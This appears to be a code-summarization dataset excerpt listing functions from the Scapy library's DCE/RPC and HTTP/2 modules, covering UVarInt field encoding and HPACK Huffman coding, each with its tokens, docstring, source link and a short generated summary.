] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/dce_rpc.py#L58-L61 | train | add the field with endianness to the buffer | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/dce_rpc.py | DceRpcPayload.dispatch_hook | def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs):
"""dispatch_hook to choose among different registered payloads"""
for klass in cls._payload_class:
if hasattr(klass, "can_handle") and \
klass.can_handle(_pkt, _underlayer):
return klass
... | python | def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs):
"""dispatch_hook to choose among different registered payloads"""
for klass in cls._payload_class:
if hasattr(klass, "can_handle") and \
klass.can_handle(_pkt, _underlayer):
return klass
... | [
"def",
"dispatch_hook",
"(",
"cls",
",",
"_pkt",
",",
"_underlayer",
"=",
"None",
",",
"*",
"args",
",",
"*",
"*",
"kargs",
")",
":",
"for",
"klass",
"in",
"cls",
".",
"_payload_class",
":",
"if",
"hasattr",
"(",
"klass",
",",
"\"can_handle\"",
")",
... | dispatch_hook to choose among different registered payloads | [
"dispatch_hook",
"to",
"choose",
"among",
"different",
"registered",
"payloads"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/dce_rpc.py#L145-L152 | train | dispatch_hook to choose among different registered payloads | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | AbstractUVarIntField._detect_multi_byte | def _detect_multi_byte(self, fb):
# type: (str) -> bool
""" _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501
multiple bytes or not.
A multibyte representation is indicated by all of the first size bits being set # noqa: E501
@para... | python | def _detect_multi_byte(self, fb):
# type: (str) -> bool
""" _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501
multiple bytes or not.
A multibyte representation is indicated by all of the first size bits being set # noqa: E501
@para... | [
"def",
"_detect_multi_byte",
"(",
"self",
",",
"fb",
")",
":",
"# type: (str) -> bool",
"assert",
"(",
"isinstance",
"(",
"fb",
",",
"int",
")",
"or",
"len",
"(",
"fb",
")",
"==",
"1",
")",
"return",
"(",
"orb",
"(",
"fb",
")",
"&",
"self",
".",
"_... | _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501
multiple bytes or not.
A multibyte representation is indicated by all of the first size bits being set # noqa: E501
@param str fb: first byte, as a character.
@return bool: True if multibyt... | [
"_detect_multi_byte",
"returns",
"whether",
"the",
"AbstractUVarIntField",
"is",
"represented",
"on",
"#",
"noqa",
":",
"E501",
"multiple",
"bytes",
"or",
"not",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L234-L246 | train | Returns whether the AbstractUVarIntField is represented on multiple bytes or not. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | AbstractUVarIntField.m2i | def m2i(self, pkt, x):
# type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int
"""
A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501
were consumed by another field. This field consumes the remaining... | python | def m2i(self, pkt, x):
# type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int
"""
A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501
were consumed by another field. This field consumes the remaining... | [
"def",
"m2i",
"(",
"self",
",",
"pkt",
",",
"x",
")",
":",
"# type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int",
"assert",
"(",
"isinstance",
"(",
"x",
",",
"bytes",
")",
"or",
"(",
"isinstance",
"(",
"x",
",",
"tuple",
")",
"and",
"x",
"[... | A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501
were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must # noqa: E501
equal "size".
@param packet.Packet|None pkt: un... | [
"A",
"tuple",
"is",
"expected",
"for",
"the",
"x",
"param",
"only",
"if",
"size",
"is",
"different",
"than",
"8",
".",
"If",
"a",
"tuple",
"is",
"received",
"some",
"bits",
"#",
"noqa",
":",
"E501",
"were",
"consumed",
"by",
"another",
"field",
".",
... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L284-L310 | train | Convert a string to an integer. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | AbstractUVarIntField.any2i | def any2i(self, pkt, x):
# type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501
"""
A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501
None is returned as is.
@param pack... | python | def any2i(self, pkt, x):
# type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501
"""
A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501
None is returned as is.
@param pack... | [
"def",
"any2i",
"(",
"self",
",",
"pkt",
",",
"x",
")",
":",
"# type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501",
"if",
"isinstance",
"(",
"x",
",",
"type",
"(",
"None",
")",
")",
":",
"return",
"x",
"if",
"isinstance",
"(",
... | A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501
None is returned as is.
@param packet.Packet|None pkt: the packet containing this field; probably unused. # noqa: E501
@param str|int|None x: the value to convert.
... | [
"A",
"x",
"value",
"as",
"a",
"string",
"is",
"parsed",
"as",
"a",
"binary",
"encoding",
"of",
"a",
"UVarInt",
".",
"An",
"int",
"is",
"considered",
"an",
"internal",
"value",
".",
"#",
"noqa",
":",
"E501",
"None",
"is",
"returned",
"as",
"is",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L335-L357 | train | Convert an any value to an internal value. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | AbstractUVarIntField.addfield | def addfield(self, pkt, s, val):
# type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501
""" An AbstractUVarIntField prefix always consumes the remaining bits
of a BitField;if no current BitField is in use (no tuple in
entry) then the prefix leng... | python | def addfield(self, pkt, s, val):
# type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501
""" An AbstractUVarIntField prefix always consumes the remaining bits
of a BitField;if no current BitField is in use (no tuple in
entry) then the prefix leng... | [
"def",
"addfield",
"(",
"self",
",",
"pkt",
",",
"s",
",",
"val",
")",
":",
"# type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501",
"assert",
"(",
"val",
">=",
"0",
")",
"if",
"isinstance",
"(",
"s",
",",
"bytes",
")",
":",... | An AbstractUVarIntField prefix always consumes the remaining bits
of a BitField;if no current BitField is in use (no tuple in
entry) then the prefix length is 8 bits and the whole byte is to
be consumed
@param packet.Packet|None pkt: the packet containing this field. Probably unuse... | [
"An",
"AbstractUVarIntField",
"prefix",
"always",
"consumes",
"the",
"remaining",
"bits",
"of",
"a",
"BitField",
";",
"if",
"no",
"current",
"BitField",
"is",
"in",
"use",
"(",
"no",
"tuple",
"in",
"entry",
")",
"then",
"the",
"prefix",
"length",
"is",
"8"... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L368-L397 | train | Add a field to the current bitfield. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | AbstractUVarIntField._detect_bytelen_from_str | def _detect_bytelen_from_str(s):
# type: (str) -> int
""" _detect_bytelen_from_str returns the length of the machine
representation of an AbstractUVarIntField starting at the beginning
of s and which is assumed to expand over multiple bytes
(value > _max_prefix_value).
... | python | def _detect_bytelen_from_str(s):
# type: (str) -> int
""" _detect_bytelen_from_str returns the length of the machine
representation of an AbstractUVarIntField starting at the beginning
of s and which is assumed to expand over multiple bytes
(value > _max_prefix_value).
... | [
"def",
"_detect_bytelen_from_str",
"(",
"s",
")",
":",
"# type: (str) -> int",
"assert",
"(",
"len",
"(",
"s",
")",
">=",
"2",
")",
"tmp_len",
"=",
"len",
"(",
"s",
")",
"i",
"=",
"1",
"while",
"orb",
"(",
"s",
"[",
"i",
"]",
")",
"&",
"0x80",
">... | _detect_bytelen_from_str returns the length of the machine
representation of an AbstractUVarIntField starting at the beginning
of s and which is assumed to expand over multiple bytes
(value > _max_prefix_value).
@param str s: the string to parse. It is assumed that it is a multiby... | [
"_detect_bytelen_from_str",
"returns",
"the",
"length",
"of",
"the",
"machine",
"representation",
"of",
"an",
"AbstractUVarIntField",
"starting",
"at",
"the",
"beginning",
"of",
"s",
"and",
"which",
"is",
"assumed",
"to",
"expand",
"over",
"multiple",
"bytes",
"("... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L400-L421 | train | Internal function to detect the length of the machine
representation of an AbstractUVarIntField from a string. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | UVarIntField.h2i | def h2i(self, pkt, x):
# type: (Optional[packet.Packet], int) -> int
""" h2i is overloaded to restrict the acceptable x values (not None)
@param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501
@param int x: the value to convert.... | python | def h2i(self, pkt, x):
# type: (Optional[packet.Packet], int) -> int
""" h2i is overloaded to restrict the acceptable x values (not None)
@param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501
@param int x: the value to convert.... | [
"def",
"h2i",
"(",
"self",
",",
"pkt",
",",
"x",
")",
":",
"# type: (Optional[packet.Packet], int) -> int",
"ret",
"=",
"super",
"(",
"UVarIntField",
",",
"self",
")",
".",
"h2i",
"(",
"pkt",
",",
"x",
")",
"assert",
"(",
"not",
"isinstance",
"(",
"ret",... | h2i is overloaded to restrict the acceptable x values (not None)
@param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501
@param int x: the value to convert.
@return int: the converted value.
@raise AssertionError | [
"h2i",
"is",
"overloaded",
"to",
"restrict",
"the",
"acceptable",
"x",
"values",
"(",
"not",
"None",
")"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L504-L515 | train | Overloaded to restrict the acceptable x values to None. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | UVarIntField.i2repr | def i2repr(self, pkt, x):
# type: (Optional[packet.Packet], int) -> str
""" i2repr is overloaded to restrict the acceptable x values (not None)
@param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501
@param int x: the value to co... | python | def i2repr(self, pkt, x):
# type: (Optional[packet.Packet], int) -> str
""" i2repr is overloaded to restrict the acceptable x values (not None)
@param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501
@param int x: the value to co... | [
"def",
"i2repr",
"(",
"self",
",",
"pkt",
",",
"x",
")",
":",
"# type: (Optional[packet.Packet], int) -> str",
"return",
"super",
"(",
"UVarIntField",
",",
"self",
")",
".",
"i2repr",
"(",
"pkt",
",",
"x",
")"
] | i2repr is overloaded to restrict the acceptable x values (not None)
@param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501
@param int x: the value to convert.
@return str: the converted value. | [
"i2repr",
"is",
"overloaded",
"to",
"restrict",
"the",
"acceptable",
"x",
"values",
"(",
"not",
"None",
")"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L543-L551 | train | Overloaded to restrict the acceptable x values to None. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | FieldUVarLenField._compute_value | def _compute_value(self, pkt):
# type: (packet.Packet) -> int
""" Computes the value of this field based on the provided packet and
the length_of field and the adjust callback
@param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501
@return int... | python | def _compute_value(self, pkt):
# type: (packet.Packet) -> int
""" Computes the value of this field based on the provided packet and
the length_of field and the adjust callback
@param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501
@return int... | [
"def",
"_compute_value",
"(",
"self",
",",
"pkt",
")",
":",
"# type: (packet.Packet) -> int",
"fld",
",",
"fval",
"=",
"pkt",
".",
"getfield_and_val",
"(",
"self",
".",
"_length_of",
")",
"val",
"=",
"fld",
".",
"i2len",
"(",
"pkt",
",",
"fval",
")",
"re... | Computes the value of this field based on the provided packet and
the length_of field and the adjust callback
@param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501
@return int: the computed value for this field.
@raise KeyError: the packet nor its p... | [
"Computes",
"the",
"value",
"of",
"this",
"field",
"based",
"on",
"the",
"provided",
"packet",
"and",
"the",
"length_of",
"field",
"and",
"the",
"adjust",
"callback"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L616-L632 | train | Compute the value of this field based on the provided packet and the length_of attribute and the adjust callback
. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackZString._huffman_encode_char | def _huffman_encode_char(cls, c):
# type: (Union[str, EOS]) -> Tuple[int, int]
""" huffman_encode_char assumes that the static_huffman_tree was
previously initialized
@param str|EOS c: a symbol to encode
@return (int, int): the bitstring of the symbol and its bitlength
@... | python | def _huffman_encode_char(cls, c):
# type: (Union[str, EOS]) -> Tuple[int, int]
""" huffman_encode_char assumes that the static_huffman_tree was
previously initialized
@param str|EOS c: a symbol to encode
@return (int, int): the bitstring of the symbol and its bitlength
@... | [
"def",
"_huffman_encode_char",
"(",
"cls",
",",
"c",
")",
":",
"# type: (Union[str, EOS]) -> Tuple[int, int]",
"if",
"isinstance",
"(",
"c",
",",
"EOS",
")",
":",
"return",
"cls",
".",
"static_huffman_code",
"[",
"-",
"1",
"]",
"else",
":",
"assert",
"(",
"i... | huffman_encode_char assumes that the static_huffman_tree was
previously initialized
@param str|EOS c: a symbol to encode
@return (int, int): the bitstring of the symbol and its bitlength
@raise AssertionError | [
"huffman_encode_char",
"assumes",
"that",
"the",
"static_huffman_tree",
"was",
"previously",
"initialized"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1009-L1022 | train | huffman_encode_char assumes that the static_huffman_tree was initialized and that the bitstring of the symbol and its bitlength are the same. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackZString.huffman_encode | def huffman_encode(cls, s):
# type: (str) -> Tuple[int, int]
""" huffman_encode returns the bitstring and the bitlength of the
bitstring representing the string provided as a parameter
@param str s: the string to encode
@return (int, int): the bitstring of s and its bitlength
... | python | def huffman_encode(cls, s):
# type: (str) -> Tuple[int, int]
""" huffman_encode returns the bitstring and the bitlength of the
bitstring representing the string provided as a parameter
@param str s: the string to encode
@return (int, int): the bitstring of s and its bitlength
... | [
"def",
"huffman_encode",
"(",
"cls",
",",
"s",
")",
":",
"# type: (str) -> Tuple[int, int]",
"i",
"=",
"0",
"ibl",
"=",
"0",
"for",
"c",
"in",
"s",
":",
"val",
",",
"bl",
"=",
"cls",
".",
"_huffman_encode_char",
"(",
"c",
")",
"i",
"=",
"(",
"i",
"... | huffman_encode returns the bitstring and the bitlength of the
bitstring representing the string provided as a parameter
@param str s: the string to encode
@return (int, int): the bitstring of s and its bitlength
@raise AssertionError | [
"huffman_encode",
"returns",
"the",
"bitstring",
"and",
"the",
"bitlength",
"of",
"the",
"bitstring",
"representing",
"the",
"string",
"provided",
"as",
"a",
"parameter"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1025-L1050 | train | huffman_encode returns the bitstring and the bitlength of the the
class s parameter as a parameter
| Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackZString.huffman_decode | def huffman_decode(cls, i, ibl):
# type: (int, int) -> str
""" huffman_decode decodes the bitstring provided as parameters.
@param int i: the bitstring to decode
@param int ibl: the bitlength of i
@return str: the string decoded from the bitstring
@raise AssertionError, ... | python | def huffman_decode(cls, i, ibl):
# type: (int, int) -> str
""" huffman_decode decodes the bitstring provided as parameters.
@param int i: the bitstring to decode
@param int ibl: the bitlength of i
@return str: the string decoded from the bitstring
@raise AssertionError, ... | [
"def",
"huffman_decode",
"(",
"cls",
",",
"i",
",",
"ibl",
")",
":",
"# type: (int, int) -> str",
"assert",
"(",
"i",
">=",
"0",
")",
"assert",
"(",
"ibl",
">=",
"0",
")",
"if",
"isinstance",
"(",
"cls",
".",
"static_huffman_tree",
",",
"type",
"(",
"N... | huffman_decode decodes the bitstring provided as parameters.
@param int i: the bitstring to decode
@param int ibl: the bitlength of i
@return str: the string decoded from the bitstring
@raise AssertionError, InvalidEncodingException | [
"huffman_decode",
"decodes",
"the",
"bitstring",
"provided",
"as",
"parameters",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1053-L1108 | train | huffman_decode decodes the bitstring i into a string of the bitlength ibl. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackZString.huffman_conv2str | def huffman_conv2str(cls, bit_str, bit_len):
# type: (int, int) -> str
""" huffman_conv2str converts a bitstring of bit_len bitlength into a
binary string. It DOES NOT compress/decompress the bitstring!
@param int bit_str: the bitstring to convert.
@param int bit_len: the bitlen... | python | def huffman_conv2str(cls, bit_str, bit_len):
# type: (int, int) -> str
""" huffman_conv2str converts a bitstring of bit_len bitlength into a
binary string. It DOES NOT compress/decompress the bitstring!
@param int bit_str: the bitstring to convert.
@param int bit_len: the bitlen... | [
"def",
"huffman_conv2str",
"(",
"cls",
",",
"bit_str",
",",
"bit_len",
")",
":",
"# type: (int, int) -> str",
"assert",
"(",
"bit_str",
">=",
"0",
")",
"assert",
"(",
"bit_len",
">=",
"0",
")",
"byte_len",
"=",
"bit_len",
"//",
"8",
"rem_bit",
"=",
"bit_le... | huffman_conv2str converts a bitstring of bit_len bitlength into a
binary string. It DOES NOT compress/decompress the bitstring!
@param int bit_str: the bitstring to convert.
@param int bit_len: the bitlength of bit_str.
@return str: the converted bitstring as a bytestring.
@rais... | [
"huffman_conv2str",
"converts",
"a",
"bitstring",
"of",
"bit_len",
"bitlength",
"into",
"a",
"binary",
"string",
".",
"It",
"DOES",
"NOT",
"compress",
"/",
"decompress",
"the",
"bitstring!"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1111-L1137 | train | This function is used to convert a bitstring of bit_len bitlength into a binary string of bit_len. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/http2.py | HPackZString.huffman_conv2bitstring | def huffman_conv2bitstring(cls, s):
# type: (str) -> Tuple[int, int]
""" huffman_conv2bitstring converts a string into its bitstring
representation. It returns a tuple: the bitstring and its bitlength.
This function DOES NOT compress/decompress the string!
@param str s: the byte... | python | def huffman_conv2bitstring(cls, s):
# type: (str) -> Tuple[int, int]
""" huffman_conv2bitstring converts a string into its bitstring
representation. It returns a tuple: the bitstring and its bitlength.
This function DOES NOT compress/decompress the string!
@param str s: the byte... | [
"def",
"huffman_conv2bitstring",
"(",
"cls",
",",
"s",
")",
":",
"# type: (str) -> Tuple[int, int]",
"i",
"=",
"0",
"ibl",
"=",
"len",
"(",
"s",
")",
"*",
"8",
"for",
"c",
"in",
"s",
":",
"i",
"=",
"(",
"i",
"<<",
"8",
")",
"+",
"orb",
"(",
"c",
... | huffman_conv2bitstring converts a string into its bitstring
representation. It returns a tuple: the bitstring and its bitlength.
This function DOES NOT compress/decompress the string!
@param str s: the bytestring to convert.
@return (int, int): the bitstring of s, and its bitlength.
... | [
"huffman_conv2bitstring",
"converts",
"a",
"string",
"into",
"its",
"bitstring",
"representation",
".",
"It",
"returns",
"a",
"tuple",
":",
"the",
"bitstring",
"and",
"its",
"bitlength",
".",
"This",
"function",
"DOES",
"NOT",
"compress",
"/",
"decompress",
"the... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/http2.py#L1140-L1158 | train | This function converts a string into its bitstring
